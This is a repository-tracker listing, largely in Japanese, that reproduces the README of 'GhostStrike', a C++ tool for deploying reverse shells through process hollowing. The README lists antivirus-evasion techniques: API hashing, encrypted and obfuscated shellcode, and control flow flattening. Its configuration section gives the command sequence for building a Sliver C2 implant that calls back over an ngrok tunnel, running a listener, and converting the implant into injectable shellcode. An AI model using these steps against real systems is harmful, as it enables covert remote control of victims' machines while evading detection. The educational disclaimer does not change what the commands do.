stivenhacker/GhostStrike
stivenhacker/GhostStrike has 828 GitHub stars and 94 forks. GitHot measured -2 in 7 days. Last checked 2026-11-11 07:13 UTC. Last push 2024-09-03.
Deploy stealthy reverse shells using advanced process hollowing with GhostStrike – a C++ tool for ethical hacking and Red Team operations.
できること
- Dynamic API Resolution: Utilizes a custom hash-based method to dynamically resolve Windows APIs, avoiding detection by signature-based security tools.
- Base64 Encoding/Decoding: Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.
- Cryptographic Key Generation: Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.
- XOR Encryption/Decryption: Simple but effective XOR-based encryption to protect the shellcode during its injection process.
計測したスター増加
- 24時間
- 更新が遅れています
- 7日間
- -2
- 15日間
- 履歴を収集中
- 1か月
- 履歴を収集中
期間ごとの純増数です。期間は重複しており、日別の値ではありません。未計測の値は空欄です。スター数は注目度の指標であり、品質の保証ではありません。
README.md
オリジナルGhostStrike ⚔️
GhostStrike is an advanced cybersecurity tool designed for Red Team operations, featuring sophisticated techniques to evade detection and perform process hollowing on Windows systems.
✨ Features
- Dynamic API Resolution: Utilizes a custom hash-based method to dynamically resolve Windows APIs, avoiding detection by signature-based security tools.
- Base64 Encoding/Decoding: Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.
- Cryptographic Key Generation: Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.
- XOR Encryption/Decryption: Simple but effective XOR-based encryption to protect the shellcode during its injection process.
- Control Flow Flattening: Implements control flow flattening to obfuscate the execution path, complicating analysis by both static and dynamic analysis tools.
- Process Hollowing: Injects encrypted shellcode into a legitimate Windows process, allowing it to execute covertly without raising suspicions.
⚙️ Configuration
You can configure GhostStrike with the following steps:
- Create Ngrok Service:
ngrok tcp 443 - Generate Sliver C2 Implant:
generate --mtls x.tcp.ngrok.io --save YourFile.exe - Create Listener:
mtls --lhost 0.0.0.0 --lport 443 - Convert to .bin:
./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin - Convert to C++ Shellcode:
xxd -i YourFile.bin > YourFile.h - Import YourFile.h to this code
- Compile and enjoy! 🚀
💻 Requirements
- C++ Compiler: Any modern C++ compiler, such as
g++,clang++, or Visual Studio, is sufficient to compile the code.
No additional dependencies are needed to build GhostStrike. Simply compile the source code with your preferred C++ compiler, and you're ready to go!
⚠️ Disclaimer
This tool is intended solely for educational purposes and for use in controlled environments. Unauthorized use of GhostStrike outside of these settings is strictly prohibited. The author, @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code.
🎥 Demo
Check out a live demonstration of GhostStrike in action on LinkedIn:
関連プロジェクトを探す
trimstray/the-book-of-secret-knowledge
インスピレーションを与えるリスト、マニュアル、チートシート、ブログ、ハック、ワンライナー、CLI/Web ツールなどを集めたコレクション。
257,585 スターHack-with-Github/Awesome-Hacking
ハッカー、ペンテスター、セキュリティ研究者向けのさまざまな Awesome リスト集。
125,103 スターswisskyrepo/PayloadsAllTheThings
Web アプリケーションセキュリティおよびペネトレーションテスト/CTF 向けの、実用的なペイロードとバイパスの一覧。
82,583 スターcaddyserver/caddy
高速で拡張しやすい、マルチプラットフォーム対応の HTTP/1-2-3 Web サーバー。自動 HTTPS に対応
78,959 スター